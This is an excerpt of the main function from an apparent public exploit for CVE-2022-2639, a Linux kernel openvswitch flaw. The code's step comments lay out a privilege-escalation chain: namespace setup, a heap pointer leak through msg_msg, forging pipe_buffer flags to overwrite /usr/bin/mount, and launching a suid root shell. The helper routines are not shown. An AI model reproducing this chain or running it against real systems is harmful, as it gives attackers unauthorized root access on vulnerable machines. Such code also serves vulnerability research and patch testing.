Function main

CVE-2022-2639/exploit.c:1053–1083

}

int main(int argc, char **argv) {
    pipe(sync_pipe);        // notify sub-process to exucute suid-shell

    if (!fork()) {
// 1. initial - bind cpu & set namespace & get flow_family_id & get msg queue & sock_pairs[4][2]
        logd("[1] initialize exploit environment ...");
        do_init();
// 2. test if openswitch enabled
        logd("[2] create br to check if openvswitch works ...");
        create_br1337();
// 3. leak kmalloc-0x400 (msg_msg->m_list.next / prev)
        logd("[3] leak kmalloc-0x400 (msg_msg->m_list.next / prev) ...");
        while (exploit_step1()) 
            { logw("retry ..."); }
// 4. forge pipe_buffer->flags & overwrite "/usr/bin/mount"
        logd("[4] do exploit step 2 ...");
        while (exploit_step2())
            { logw("retry ..."); }
// 5. notify sub-process to execute suid-shell
        logd("[5] notify sub-process to execute suid-shell ...");
        write(sync_pipe[1], "T", 1);
        while (1) { sleep(10); }
    } else {    // sub-process: wait to execute suid-shell
        char sync;
        read(sync_pipe[0], &sync, 1);
        logd("[6] begin to execute suid-shell ...");
        if (sync == 'T')
            execl(ATTACK_FILE, ATTACK_FILE, NULL);
    }
    return 0;
}